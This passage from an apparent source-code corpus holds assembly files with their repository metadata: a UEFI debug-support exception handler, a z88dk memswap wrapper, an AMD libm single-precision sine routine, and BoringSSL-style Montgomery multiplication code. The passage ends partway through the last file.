FxSaveState; sub rsp, 512 mov rdi, rsp ; IMPORTANT!! The debug stack has been carefully constructed to ; insure that rsp and rdi are 16 byte aligned when we get here. ; They MUST be. If they are not, a GP fault will occur. FXSTOR_RDI ;; UEFI calling convention for x64 requires that Direction flag in EFLAGs is clear cld ;; UINT64 ExceptionData; mov rax, ExceptData push rax ; call to C code which will in turn call registered handler ; pass in the vector number mov rdx, rsp mov rcx, ExceptionNumber sub rsp, 40 call InterruptDistrubutionHub add rsp, 40 ; restore context... ;; UINT64 ExceptionData; add rsp, 8 ;; FX_SAVE_STATE_X64 FxSaveState; mov rsi, rsp FXRSTOR_RSI add rsp, 512 ;; UINT64 Dr0, Dr1, Dr2, Dr3, Dr6, Dr7; pop rax mov dr0, rax pop rax mov dr1, rax pop rax mov dr2, rax pop rax mov dr3, rax ;; skip restore of dr6. We cleared dr6 during the context save. add rsp, 8 pop rax mov dr7, rax ;; UINT64 Cr0, Cr1, Cr2, Cr3, Cr4, Cr8; pop rax mov cr0, rax add rsp, 8 pop rax mov cr2, rax pop rax mov cr3, rax pop rax mov cr4, rax pop rax mov cr8, rax ;; UINT64 RFlags; mov rax, AppRsp pop qword ptr [rax + 16] ;; UINT64 Ldtr, Tr; ;; UINT64 Gdtr[2], Idtr[2]; ;; Best not let anyone mess with these particular registers... add rsp, 48 ;; UINT64 Rip; pop qword ptr [rax] ;; UINT64 Gs, Fs, Es, Ds, Cs, Ss; ;; NOTE - modified segment registers could hang the debugger... We ;; could attempt to insulate ourselves against this possibility, ;; but that poses risks as well. ;; pop rax ; mov gs, rax pop rax ; mov fs, rax pop rax mov es, rax pop rax mov ds, rax mov rax, AppRsp pop qword ptr [rax + 8] pop rax mov ss, rax ;; The next stuff to restore is the general purpose registers that were pushed ;; using the "push" instruction. ;; ;; The value of RSP as stored in the context record is the application RSP ;; including the 5 entries on the application stack caused by the exception ;; itself. It may have been modified by the debug agent, so we need to ;; determine if we need to relocate the application stack. mov rbx, [rsp + 24] ; move the potentially modified AppRsp into rbx mov rax, AppRsp mov rax, QWORD PTR [rax + 24] cmp rbx, rax je NoAppStackMove mov rax, AppRsp mov rcx, [rax] ; RIP mov [rbx], rcx mov rcx, [rax + 8] ; CS mov [rbx + 8], rcx mov rcx, [rax + 16] ; RFLAGS mov [rbx + 16], rcx mov rcx, [rax + 24] ; RSP mov [rbx + 24], rcx mov rcx, [rax + 32] ; SS mov [rbx + 32], rcx mov rax, rbx ; modify the saved AppRsp to the new AppRsp mov AppRsp, rax NoAppStackMove: mov rax, DebugRsp ; restore the DebugRsp on the debug stack ; so our "pop" will not cause a stack switch mov [rsp + 24], rax cmp ExceptionNumber, 068h jne NoChain Chain: ;; Restore rflags so when we chain, the flags will be exactly as if we were never here. ;; We gin up the stack to do an iretq so we can get ALL the flags. mov rax, AppRsp mov rbx, [rax + 40] push rbx mov rax, ss push rax mov rax, rsp add rax, 16 push rax mov rax, AppRsp mov rbx, [rax + 16] and rbx, NOT 300h ; special handling for IF and TF push rbx mov rax, cs push rax mov rax, offset PhonyIretq push rax iretq PhonyIretq: ;; UINT64 Rdi, Rsi, Rbp, Rsp, Rbx, Rdx, Rcx, Rax; ;; UINT64 R8, R9, R10, R11, R12, R13, R14, R15; pop rdi pop rsi pop rbp pop rsp pop rbx pop rdx pop rcx pop rax pop r8 pop r9 pop r10 pop r11 pop r12 pop r13 pop r14 pop r15 ;; Switch back to application stack mov rsp, AppRsp ;; Jump to original handler jmp OrigVector NoChain: ;; UINT64 Rdi, Rsi, Rbp, Rsp, Rbx, Rdx, Rcx, Rax; ;; UINT64 R8, R9, R10, R11, R12, R13, R14, R15; pop rdi pop rsi pop rbp pop rsp pop rbx pop rdx pop rcx pop rax pop r8 pop r9 pop r10 pop r11 pop r12 pop r13 pop r14 pop r15 ;; Switch back to application stack mov rsp, AppRsp ;; We're outa here... iretq text ENDS END
35.128978
111
0.48498
[ "MIT" ]
Axoosha/icebox
third_party/virtualbox/src/VBox/Devices/EFI/Firmware/MdeModulePkg/Universal/DebugSupportDxe/X64/AsmFuncs.asm
20,972
Assembly
; void *memswap(void *s1, void *s2, size_t n) SECTION code_clib SECTION code_string PUBLIC _memswap EXTERN asm_memswap _memswap: pop af pop hl pop de pop bc push bc push de push hl push af jp asm_memswap
10.208333
45
0.653061
[ "BSD-2-Clause" ]
ByteProject/Puddle-BuildTools
FictionTools/z88dk/libsrc/_DEVELOPMENT/string/c/sdcc_ix/memswap.asm
245
Assembly
; ; Copyright (C) 2008-2020 Advanced Micro Devices, Inc. All rights reserved. ; ; Redistribution and use in source and binary forms, with or without modification, ; are permitted provided that the following conditions are met: ; 1. Redistributions of source code must retain the above copyright notice, ; this list of conditions and the following disclaimer. ; 2. Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; 3. Neither the name of the copyright holder nor the names of its contributors ; may be used to endorse or promote products derived from this software without ; specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. ; IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, ; INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, ; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, ; OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, ; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; include fm.inc include trig_func.inc FN_PROTOTYPE_FMA3 sinf fname_special TEXTEQU <_sinf_special> ;Define name and any external functions being called EXTERN fname_special : PROC text SEGMENT EXECUTE PUBLIC fname fname PROC FRAME StackAllocate stack_size .ENDPROLOG sinf_early_exit_s: MOVD eax,xmm0 MOV r8d,L__inf_mask_32 AND eax,r8d CMP eax, r8d JZ sinf_naninf VCVTSS2SD xmm5,xmm0,xmm0 VMOVQ r9,xmm5 AND r9,L__sign_mask ;clear sign sinf_early_exit_s_1: CMP r9,L_mask_3fe JG range_reduce CMP r9,L_mask_3f8 JGE compute_sinf_pyby_4 CMP r9,L_mask_3f2 JGE compute_x_xxx_0_1666 JMP return_sinf_c compute_x_xxx_0_1666: VMULSD xmm1,xmm5,xmm5 ; VMULSD xmm0,xmm1,xmm5 ; xmm1 x3 VFNMADD132SD xmm0 ,xmm5,L_point_166 ; x - x*x*x*0.166666666666666666; JMP return_sinf_s compute_sinf_pyby_4: VMOVSD xmm0,xmm5,xmm5 sin_piby4_sf_fma3 JMP return_sinf_s range_reduce: VMOVQ xmm0,r9 ; r9 x with the sign cleared cmp r9,L_e_5 JGE sinf_remainder_piby2 ;sinf_range_e_5_s: range_e_5_sf_fma3 JMP sinf_exit_s sinf_remainder_piby2: call_remainder_piby2_f sinf_exit_s: VMOVQ rax,xmm4 and rax,01h cmp rax,01h JZ cos_piby4_compute sin_piby4_compute: sin_piby4_sf_fma3 JMP sinf_exit_s_1 cos_piby4_compute: cos_piby4_sf_fma3 sinf_exit_s_1: VPCMPEQQ xmm2,xmm4,XMMWORD PTR L_int_two VPCMPEQQ xmm3,xmm4,XMMWORD PTR L_int_three VORPD xmm3,xmm2,xmm3 VANDNPD xmm3,xmm3,L_signbit VXORPD xmm0,xmm0,xmm3 VANDNPD xmm1,xmm5,L_signbit VXORPD xmm0,xmm1,xmm0 return_sinf_s: VCVTSD2SS xmm0,xmm0,xmm0 StackDeallocate stack_size ret return_sinf_c: StackDeallocate stack_size ret sinf_naninf: call fname_special StackDeallocate stack_size ret fname endp TEXT ENDS END
27.244444
86
0.709081
[ "BSD-3-Clause" ]
HollowMan6/aocl-libm-ose
src/isa/avx2/masm/sinf_fma3.asm
3,678
Assembly
; This file is generated from a similarly-named Perl script in the BoringSSL ; source tree. Do not edit by hand. default rel %define XMMWORD %define YMMWORD %define ZMMWORD section .text code align=64 EXTERN GFp_ia32cap_P global GFp_bn_mul_mont ALIGN 16 GFp_bn_mul_mont: mov QWORD[8+rsp],rdi ;WIN64 prologue mov QWORD[16+rsp],rsi mov rax,rsp $L$SEH_begin_GFp_bn_mul_mont: mov rdi,rcx mov rsi,rdx mov rdx,r8 mov rcx,r9 mov r8,QWORD[40+rsp] mov r9,QWORD[48+rsp] mov r9d,r9d mov rax,rsp test r9d,3 jnz NEAR $L$mul_enter cmp r9d,8 jb NEAR $L$mul_enter mov r11d,DWORD[((GFp_ia32cap_P+8))] cmp rdx,rsi jne NEAR $L$mul4x_enter test r9d,7 jz NEAR $L$sqr8x_enter jmp NEAR $L$mul4x_enter ALIGN 16 $L$mul_enter: push rbx push rbp push r12 push r13 push r14 push r15 neg r9 mov r11,rsp lea r10,[((-16))+r9*8+rsp] neg r9 and r10,-1024 sub r11,r10 and r11,-4096 lea rsp,[r11*1+r10] mov r11,QWORD[rsp] cmp rsp,r10 ja NEAR $L$mul_page_walk jmp NEAR $L$mul_page_walk_done ALIGN 16 $L$mul_page_walk: lea rsp,[((-4096))+rsp] mov r11,QWORD[rsp] cmp rsp,r10 ja NEAR $L$mul_page_walk $L$mul_page_walk_done: mov QWORD[8+r9*8+rsp],rax $L$mul_body: mov r12,rdx mov r8,QWORD[r8] mov rbx,QWORD[r12] mov rax,QWORD[rsi] xor r14,r14 xor r15,r15 mov rbp,r8 mul rbx mov r10,rax mov rax,QWORD[rcx] imul rbp,r10 mov r11,rdx mul rbp add r10,rax mov rax,QWORD[8+rsi] adc rdx,0 mov r13,rdx lea r15,[1+r15] jmp NEAR $L$1st_enter ALIGN 16 $L$1st: add r13,rax mov rax,QWORD[r15*8+rsi] adc rdx,0 add r13,r11 mov r11,r10 adc rdx,0 mov QWORD[((-16))+r15*8+rsp],r13 mov r13,rdx $L$1st_enter: mul rbx add r11,rax mov rax,QWORD[r15*8+rcx] adc rdx,0 lea r15,[1+r15] mov r10,rdx mul rbp cmp r15,r9 jne NEAR $L$1st add r13,rax mov rax,QWORD[rsi] adc rdx,0 add r13,r11 adc rdx,0 mov QWORD[((-16))+r15*8+rsp],r13 mov r13,rdx mov r11,r10 xor rdx,rdx add r13,r11 adc rdx,0 mov QWORD[((-8))+r9*8+rsp],r13 mov QWORD[r9*8+rsp],rdx lea r14,[1+r14] jmp NEAR $L$outer ALIGN 16 $L$outer: mov rbx,QWORD[r14*8+r12] xor r15,r15 mov rbp,r8 mov r10,QWORD[rsp] mul rbx add r10,rax mov rax,QWORD[rcx] adc rdx,0 imul rbp,r10 mov r11,rdx mul rbp add r10,rax mov rax,QWORD[8+rsi] adc rdx,0 mov r10,QWORD[8+rsp] mov r13,rdx lea r15,[1+r15] jmp NEAR $L$inner_enter ALIGN 16 $L$inner: add r13,rax mov rax,QWORD[r15*8+rsi] adc rdx,0 add r13,r10 mov r10,QWORD[r15*8+rsp] adc rdx,0 mov QWORD[((-16))+r15*8+rsp],r13 mov r13,rdx $L$inner_enter: mul rbx add r11,rax mov rax,QWORD[r15*8+rcx] adc rdx,0 add r10,r11 mov r11,rdx adc r11,0 lea r15,[1+r15] mul rbp cmp r15,r9 jne NEAR $L$inner add r13,rax mov rax,QWORD[rsi] adc rdx,0 add r13,r10 mov r10,QWORD[r15*8+rsp] adc rdx,0 mov QWORD[((-16))+r15*8+rsp],r13 mov r13,rdx xor rdx,rdx add r13,r11 adc rdx,0 add r13,r10 adc rdx,0 mov QWORD[((-8))+r9*8+rsp],r13 mov QWORD[r9*8+rsp],rdx lea r14,[1+r14] cmp r14,r9 jb NEAR $L$outer xor r14,r14 mov rax,QWORD[rsp] mov r15,r9 ALIGN 16 $L$sub: sbb rax,QWORD[r14*8+rcx] mov QWORD[r14*8+rdi],rax mov rax,QWORD[8+r14*8+rsp] lea r14,[1+r14] dec r15 jnz NEAR $L$sub sbb rax,0 mov rbx,-1 xor rbx,rax xor r14,r14 mov r15,r9 $L$copy: mov rcx,QWORD[r14*8+rdi] mov rdx,QWORD[r14*8+rsp] and rcx,rbx and rdx,rax mov QWORD[r14*8+rsp],r9 or rdx,rcx mov QWORD[r14*8+rdi],rdx lea r14,[1+r14] sub r15,1 jnz NEAR $L$copy mov rsi,QWORD[8+r9*8+rsp] mov rax,1 mov r15,QWORD[((-48))+rsi] mov r14,QWORD[((-40))+rsi] mov r13,QWORD[((-32))+rsi] mov r12,QWORD[((-24))+rsi] mov rbp,QWORD[((-16))+rsi] mov rbx,QWORD[((-8))+rsi] lea rsp,[rsi] $L$mul_epilogue: mov rdi,QWORD[8+rsp] ;WIN64 epilogue mov rsi,QWORD[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_GFp_bn_mul_mont: ALIGN 16 bn_mul4x_mont: mov QWORD[8+rsp],rdi ;WIN64 prologue mov QWORD[16+rsp],rsi mov rax,rsp $L$SEH_begin_bn_mul4x_mont: mov rdi,rcx mov rsi,rdx mov rdx,r8 mov rcx,r9 mov r8,QWORD[40+rsp] mov r9,QWORD[48+rsp] mov r9d,r9d mov rax,rsp $L$mul4x_enter: and r11d,0x80100 cmp r11d,0x80100 je NEAR $L$mulx4x_enter push rbx push rbp push r12 push r13 push r14 push r15 neg r9 mov r11,rsp lea r10,[((-32))+r9*8+rsp] neg r9 and r10,-1024 sub r11,r10 and r11,-4096 lea rsp,[r11*1+r10] mov r11,QWORD[rsp] cmp rsp,r10 ja NEAR $L$mul4x_page_walk jmp NEAR $L$mul4x_page_walk_done $L$mul4x_page_walk: lea rsp,[((-4096))+rsp] mov r11,QWORD[rsp] cmp rsp,r10 ja NEAR $L$mul4x_page_walk $L$mul4x_page_walk_done: mov QWORD[8+r9*8+rsp],rax $L$mul4x_body: mov QWORD[16+r9*8+rsp],rdi mov r12,rdx mov r8,QWORD[r8] mov rbx,QWORD[r12] mov rax,QWORD[rsi] xor r14,r14 xor r15,r15 mov rbp,r8 mul rbx mov r10,rax mov rax,QWORD[rcx] imul rbp,r10 mov r11,rdx mul rbp add r10,rax mov rax,QWORD[8+rsi] adc rdx,0 mov rdi,rdx mul rbx add r11,rax mov rax,QWORD[8+rcx] adc rdx,0 mov r10,rdx mul rbp add rdi,rax mov rax,QWORD[16+rsi] adc rdx,0 add rdi,r11 lea r15,[4+r15] adc rdx,0 mov QWORD[rsp],rdi mov r13,rdx jmp NEAR $L$1st4x ALIGN 16 $L$1st4x: mul rbx add r10,rax mov rax,QWORD[((-16))+r15*8+rcx] adc rdx,0 mov r11,rdx mul rbp add r13,rax mov rax,QWORD[((-8))+r15*8+rsi] adc rdx,0 add r13,r10 adc rdx,0 mov QWORD[((-24))+r15*8+rsp],r13 mov rdi,rdx mul rbx add r11,rax mov rax,QWORD[((-8))+r15*8+rcx] adc rdx,0 mov r10,rdx mul rbp add rdi,rax mov rax,QWORD[r15*8+rsi] adc rdx,0 add rdi,r11 adc rdx,0 mov QWORD[((-16))+r15*8+rsp],rdi mov r13,rdx mul rbx add r10,rax mov rax,QWORD[r15*8+rcx] adc rdx,0 mov r11,rdx mul rbp add r13,rax mov rax,QWORD[8+r15*8+rsi] adc rdx,0 add r13,r10 adc rdx,0 mov QWORD[((-8))+r15*8+rsp],r13 mov rdi,rdx mul rbx add r11,rax mov rax,QWORD[8+r15*8+rcx] adc rdx,0 lea r15,[4+r15] mov r10,rdx mul rbp add rdi,rax mov rax,QWORD[((-16))+r15*8+rsi] adc rdx,0 add rdi,r11 adc rdx,0 mov QWORD[((-32))+r15*8+rsp],rdi mov r13,rdx cmp r15,r9 jb NEAR $L$1st4x mul rbx add r10,rax mov rax,QWORD[((-16))+r15*8+rcx] adc rdx,0 mov r11,rdx mul rbp add r13,rax mov rax,QWORD[((-8))+r15*8+rsi] adc rdx,0 add r13,r10 adc rdx,0 mov QWORD[((-24))+r15*8+rsp],r13 mov rdi,rdx mul rbx add r11,rax mov rax,QWORD[((-8))+r15*8+rcx] adc rdx,0 mov r10,rdx mul rbp add rdi,rax mov rax,QWORD[rsi] adc rdx,0 add rdi,r11 adc rdx,0 mov QWORD[((-16))+r15*8+rsp],rdi mov r13,rdx xor rdi,rdi add r13,r10 adc rdi,0 mov QWORD[((-8))+r15*8+rsp],r13 mov QWORD[r15*8+rsp],rdi lea r14,[1+r14] ALIGN 4 $L$outer4x: mov rbx,QWORD[r14*8+r12] xor r15,r15 mov r10,QWORD[rsp] mov rbp,r8 mul rbx add r10,rax mov rax,QWORD[rcx] adc rdx,0 imul rbp,r10 mov r11,rdx mul rbp add r10,rax mov rax,QWORD[8+rsi] adc rdx,0 mov rdi,rdx mul rbx add r11,rax mov rax,QWORD[8+rcx] adc rdx,0 add r11,QWORD[8+rsp] adc rdx,0 mov r10,rdx mul rbp add rdi,rax mov rax,QWORD[16+rsi] adc rdx,0 add rdi,r11 lea r15,[4+r15] adc rdx,0 mov QWORD[rsp],rdi mov r13,rdx jmp NEAR $L$inner4x ALIGN 16 $L$inner4x: mul rbx add r10,rax mov rax,QWORD[((-16))+r15*8+rcx] adc rdx,0 add r10,QWORD[((-16))+r15*8+rsp] adc rdx,0 mov r11,rdx mul rbp add r13,rax mov rax,QWORD[((-8))+r15*8+rsi] adc rdx,0 add r13,r10 adc rdx,0 mov QWORD[((-24))+r15*8+rsp],r13 mov rdi,rdx mul rbx add r11,rax mov rax,QWORD[((-8))+r15*8+rcx] adc rdx,0 add r11,QWORD[((-8))+r15*8+rsp] adc rdx,0 mov r10,rdx mul rbp add rdi,rax mov rax,QWORD[r15*8+rsi] adc rdx,0 add rdi,r11 adc rdx,0 mov QWORD[((-16))+r15*8+rsp],rdi mov r13,rdx mul rbx add r10,rax mov rax,QWORD[r15*8+rcx] adc rdx,0 add r10,QWORD[r15*8+rsp] adc rdx,0 mov r11,rdx mul rbp add r13,rax mov rax,QWORD[8+r15*8+rsi] adc rdx,0 add r13,r10 adc rdx,0 mov QWORD[((-8))+r15*8+rsp],r13 mov rdi,rdx mul rbx add r11,rax mov rax,QWORD[8+r15*8+rcx] adc rdx,0 add r11,QWORD[8+r15*8+rsp] adc rdx,0 lea r15,[4+r15] mov r10,rdx mul rbp add rdi,rax mov rax,QWORD[((-16))+r15*8+rsi] adc rdx,0 add rdi,r11 adc rdx,0 mov QWORD[((-32))+r15*8+rsp],rdi mov r13,rdx cmp r15,r9 jb NEAR $L$inner4x mul rbx add r10,rax mov rax,QWORD[((-16))+r15*8+rcx] adc rdx,0 add r10,QWORD[((-16))+r15*8+rsp] adc rdx,0 mov r11,rdx mul rbp add r13,rax mov rax,QWORD[((-8))+r15*8+rsi] adc rdx,0 add r13,r10 adc rdx,0 mov QWORD[((-24))+r15*8+rsp],r13 mov rdi,rdx mul rbx add r11,rax mov rax,QWORD[((-8))+r15*8+rcx] adc rdx,0 add r11,QWORD[((-8))+r15*8+rsp] adc rdx,0 lea r14,[1+r14] mov r10,rdx mul rbp add rdi,rax mov rax,QWORD[rsi] adc rdx,0 add rdi,r11 adc rdx,0 mov QWORD[((-16))+r15*8+rsp],rdi mov r13,rdx xor rdi,rdi add r13,r10 adc rdi,0 add r13,QWORD[r9*8+rsp] adc rdi,0 mov QWORD[((-8))+r15*8+rsp],r13 mov QWORD[r15*8+rsp],rdi cmp r14,r9 jb NEAR $L$outer4x mov rdi,QWORD[16+r9*8+rsp] lea r15,[((-4))+r9] mov rax,QWORD[rsp] mov rdx,QWORD[8+rsp] shr r15,2 lea rsi,[rsp] xor r14,r14 sub rax,QWORD[rcx] mov rbx,QWORD[16+rsi] mov rbp,QWORD[24+rsi] sbb rdx,QWORD[8+rcx] $L$sub4x: mov QWORD[r14*8+rdi],rax mov QWORD[8+r14*8+rdi],rdx sbb rbx,QWORD[16+r14*8+rcx] mov rax,QWORD[32+r14*8+rsi] mov rdx,QWORD[40+r14*8+rsi] sbb rbp,QWORD[24+r14*8+rcx] mov QWORD[16+r14*8+rdi],rbx mov QWORD[24+r14*8+rdi],rbp sbb rax,QWORD[32+r14*8+rcx] mov rbx,QWORD[48+r14*8+rsi] mov rbp,QWORD[56+r14*8+rsi] sbb rdx,QWORD[40+r14*8+rcx] lea r14,[4+r14] dec r15 jnz NEAR $L$sub4x mov QWORD[r14*8+rdi],rax mov rax,QWORD[32+r14*8+rsi] sbb rbx,QWORD[16+r14*8+rcx] mov QWORD[8+r14*8+rdi],rdx sbb rbp,QWORD[24+r14*8+rcx] mov QWORD[16+r14*8+rdi],rbx sbb rax,0 mov QWORD[24+r14*8+rdi],rbp pxor xmm0,xmm0 DB 102,72,15,110,224 pcmpeqd xmm5,xmm5 pshufd xmm4,xmm4,0 mov r15,r9 pxor xmm5,xmm4 shr r15,2 xor eax,eax jmp NEAR $L$copy4x ALIGN 16 $L$copy4x: movdqa xmm1,XMMWORD[rax*1+rsp] movdqu xmm2,XMMWORD[rax*1+rdi] pand xmm1,xmm4 pand xmm2,xmm5 movdqa xmm3,XMMWORD[16+rax*1+rsp] movdqa XMMWORD[rax*1+rsp],xmm0 por xmm1,xmm2 movdqu xmm2,XMMWORD[16+rax*1+rdi] movdqu XMMWORD[rax*1+rdi],xmm1 pand xmm3,xmm4 pand xmm2,xmm5 movdqa XMMWORD[16+rax*1+rsp],xmm0 por xmm3,xmm2 movdqu XMMWORD[16+rax*1+rdi],xmm3 lea rax,[32+rax] dec r15 jnz NEAR $L$copy4x mov rsi,QWORD[8+r9*8+rsp] mov rax,1 mov r15,QWORD[((-48))+rsi] mov r14,QWORD[((-40))+rsi] mov r13,QWORD[((-32))+rsi] mov r12,QWORD[((-24))+rsi] mov rbp,QWORD[((-16))+rsi] mov rbx,QWORD[((-8))+rsi] lea rsp,[rsi] $L$mul4x_epilogue: mov rdi,QWORD[8+rsp] ;WIN64 epilogue mov rsi,QWORD[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_bn_mul4x_mont: EXTERN GFp_bn_sqrx8x_internal EXTERN GFp_bn_sqr8x_internal ALIGN 32 bn_sqr8x_mont: mov QWORD[8+rsp],rdi ;WIN64 prologue mov QWORD[16+rsp],rsi mov rax,rsp $L$SEH_begin_bn_sqr8x_mont: mov rdi,rcx mov rsi,rdx mov rdx,r8 mov rcx,r9 mov r8,QWORD[40+rsp] mov r9,QWORD[48+rsp] mov rax,rsp $L$sqr8x_enter: push rbx push rbp push r12 push r13 push r14 push r15 $L$sqr8x_prologue: mov r10d,r9d shl r9d,3 shl r10,3+2 neg r9 lea r11,[((-64))+r9*2+rsp] mov rbp,rsp mov r8,QWORD[r8] sub r11,rsi and r11,4095 cmp r10,r11 jb NEAR $L$sqr8x_sp_alt sub rbp,r11 lea rbp,[((-64))+r9*2+rbp] jmp NEAR $L$sqr8x_sp_done ALIGN 32 $L$sqr8x_sp_alt: lea r10,[((4096-64))+r9*2] lea rbp,[((-64))+r9*2+rbp] sub r11,r10 mov r10,0 cmovc r11,r10 sub rbp,r11 $L$sqr8x_sp_done: and rbp,-64 mov r11,rsp sub r11,rbp and r11,-4096 lea rsp,[rbp*1+r11] mov r10,QWORD[rsp] cmp rsp,rbp ja NEAR $L$sqr8x_page_walk jmp NEAR $L$sqr8x_page_walk_done ALIGN 16 $L$sqr8x_page_walk: lea rsp,[((-4096))+rsp] mov r10,QWORD[rsp] cmp rsp,rbp ja NEAR $L$sqr8x_page_walk $L$sqr8x_page_walk_done: mov r10,r9 neg r9 mov QWORD[32+rsp],r8 mov QWORD[40+rsp],rax $L$sqr8x_body: DB 102,72,15,110,209 pxor xmm0,xmm0 DB 102,72,15,110,207 DB 102,73,15,110,218 mov eax,DWORD[((GFp_ia32cap_P+8))] and eax,0x80100 cmp eax,0x80100 jne NEAR $L$sqr8x_nox call GFp_bn_sqrx8x_internal lea rbx,[rcx*1+r8] mov r9,rcx mov rdx,rcx DB 102,72,15,126,207 sar rcx,3+2 jmp NEAR $L$sqr8x_sub ALIGN 32 $L$sqr8x_nox: call GFp_bn_sqr8x_internal lea rbx,[r9*1+rdi] mov rcx,r9 mov rdx,r9 DB 102,72,15,126,207 sar rcx,3+2 jmp NEAR $L$sqr8x_sub ALIGN 32 $L$sqr8x_sub: mov r12,QWORD[rbx] mov r13,QWORD[8+rbx] mov r14,QWORD[16+rbx] mov r15,QWORD[24+rbx] lea rbx,[32+rbx] sbb r12,QWORD[rbp] sbb r13,QWORD[8+rbp] sbb r14,QWORD[16+rbp] sbb r15,QWORD[24+rbp] lea rbp,[32+rbp] mov QWORD[rdi],r12 mov QWORD[8+rdi],r13 mov QWORD[16+rdi],r14 mov QWORD[24+rdi],r15 lea rdi,[32+rdi] inc rcx jnz NEAR $L$sqr8x_sub sbb rax,0 lea rbx,[r9*1+rbx] lea rdi,[r9*1+rdi] DB 102,72,15,110,200 pxor xmm0,xmm0 pshufd xmm1,xmm1,0 mov rsi,QWORD[40+rsp] jmp NEAR $L$sqr8x_cond_copy ALIGN 32 $L$sqr8x_cond_copy: movdqa xmm2,XMMWORD[rbx] movdqa xmm3,XMMWORD[16+rbx] lea rbx,[32+rbx] movdqu xmm4,XMMWORD[rdi] movdqu xmm5,XMMWORD[16+rdi] lea rdi,[32+rdi] movdqa XMMWORD[(-32)+rbx],xmm0 movdqa XMMWORD[(-16)+rbx],xmm0 movdqa XMMWORD[(-32)+rdx*1+rbx],xmm0 movdqa XMMWORD[(-16)+rdx*1+rbx],xmm0 pcmpeqd xmm0,xmm1 pand xmm2,xmm1 pand xmm3,xmm1 pand xmm4,xmm0 pand xmm5,xmm0 pxor xmm0,xmm0 por xmm4,xmm2 por xmm5,xmm3 movdqu XMMWORD[(-32)+rdi],xmm4 movdqu XMMWORD[(-16)+rdi],xmm5 add r9,32 jnz NEAR $L$sqr8x_cond_copy mov rax,1 mov r15,QWORD[((-48))+rsi] mov r14,QWORD[((-40))+rsi] mov r13,QWORD[((-32))+rsi] mov r12,QWORD[((-24))+rsi] mov rbp,QWORD[((-16))+rsi] mov rbx,QWORD[((-8))+rsi] lea rsp,[rsi] $L$sqr8x_epilogue: mov rdi,QWORD[8+rsp] ;WIN64 epilogue mov rsi,QWORD[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_bn_sqr8x_mont: ALIGN 32 bn_mulx4x_mont: mov QWORD[8+rsp],rdi ;WIN64 prologue mov QWORD[16+rsp],rsi mov rax,rsp $L$SEH_begin_bn_mulx4x_mont: mov rdi,rcx mov rsi,rdx mov rdx,r8 mov rcx,r9 mov r8,QWORD[40+rsp] mov r9,QWORD[48+rsp] mov rax,rsp $L$mulx4x_enter: push rbx push rbp push r12 push r13 push r14 push r15 $L$mulx4x_prologue: shl r9d,3 xor r10,r10 sub r10,r9 mov r8,QWORD[r8] lea rbp,[((-72))+r10*1+rsp] and rbp,-128 mov r11,rsp sub r11,rbp and r11,-4096 lea rsp,[rbp*1+r11] mov r10,QWORD[rsp] cmp rsp,rbp ja NEAR $L$mulx4x_page_walk jmp NEAR $L$mulx4x_page_walk_done ALIGN 16 $L$mulx4x_page_walk: lea rsp,[((-4096))+rsp] mov r10,QWORD[rsp] cmp rsp,rbp ja NEAR $L$mulx4x_page_walk $L$mulx4x_page_walk_done: lea r10,[r9*1+rdx] mov QWORD[rsp],r9 shr r9,5 mov QWORD[16+rsp],r10 sub r9,1 mov QWORD[24+rsp],r8 mov QWORD[32+rsp],rdi mov QWORD[40+rsp],rax mov QWORD[48+rsp],r9 jmp NEAR $L$mulx4x_body ALIGN 32 $L$mulx4x_body: lea rdi,[8+rdx] mov rdx,QWORD[rdx] lea rbx,[((64+32))+rsp] mov r9,rdx mulx rax,r8,QWORD[rsi] mulx r14,r11,QWORD[8+rsi] add r11,rax mov QWORD[8+rsp],rdi mulx r13,r12,QWORD[16+rsi] adc r12,r14 adc r13,0 mov rdi,r8 imul r8,QWORD[24+rsp] xor rbp,rbp mulx r14,rax,QWORD[24+rsi] mov rdx,r8 lea rsi,[32+rsi] adcx r13,rax adcx r14,rbp mulx r10,rax,QWORD[rcx] adcx rdi,rax adox r10,r11 mulx r11,rax,QWORD[8+rcx] adcx r10,rax adox r11,r12 DB 0xc4,0x62,0xfb,0xf6,0xa1,0x10,0x00,0x00,0x00 mov rdi,QWORD[48+rsp] mov QWORD[((-32))+rbx],r10 adcx r11,rax adox r12,r13 mulx r15,rax,QWORD[24+rcx] mov rdx,r9 mov QWORD[((-24))+rbx],r11 adcx r12,rax adox r15,rbp lea rcx,[32+rcx] mov QWORD[((-16))+rbx],r12 jmp NEAR $L$mulx4x_1st ALIGN 32 $L$mulx4x_1st: adcx r15,rbp mulx rax,r10,QWORD[rsi] adcx r10,r14 mulx r14,r11,QWORD[8+rsi] adcx r11,rax mulx rax,r12,QWORD[16+rsi] adcx r12,r14 mulx r14,r13,QWORD[24+rsi] DB 0x67,0x67 mov rdx,r8 adcx r13,rax adcx r14,rbp lea rsi,[32+rsi] lea rbx,[32+rbx] adox r10,r15 mulx r15,rax,QWORD[rcx] adcx r10,rax adox r11,r15 mulx r15,rax,QWORD[8+rcx] adcx r11,rax adox r12,r15 mulx r15,rax,QWORD[16+rcx] mov QWORD[((-40))+rbx],r10 adcx r12,rax mov QWORD[((-32))+rbx],r11 adox r13,r15 mulx r15,rax,QWORD[24+rcx] mov rdx,r9 mov QWORD[((-24))+rbx],r12 adcx r13,rax adox r15,rbp lea rcx,[32+rcx] mov QWORD[((-16))+rbx],r13 dec rdi jnz NEAR 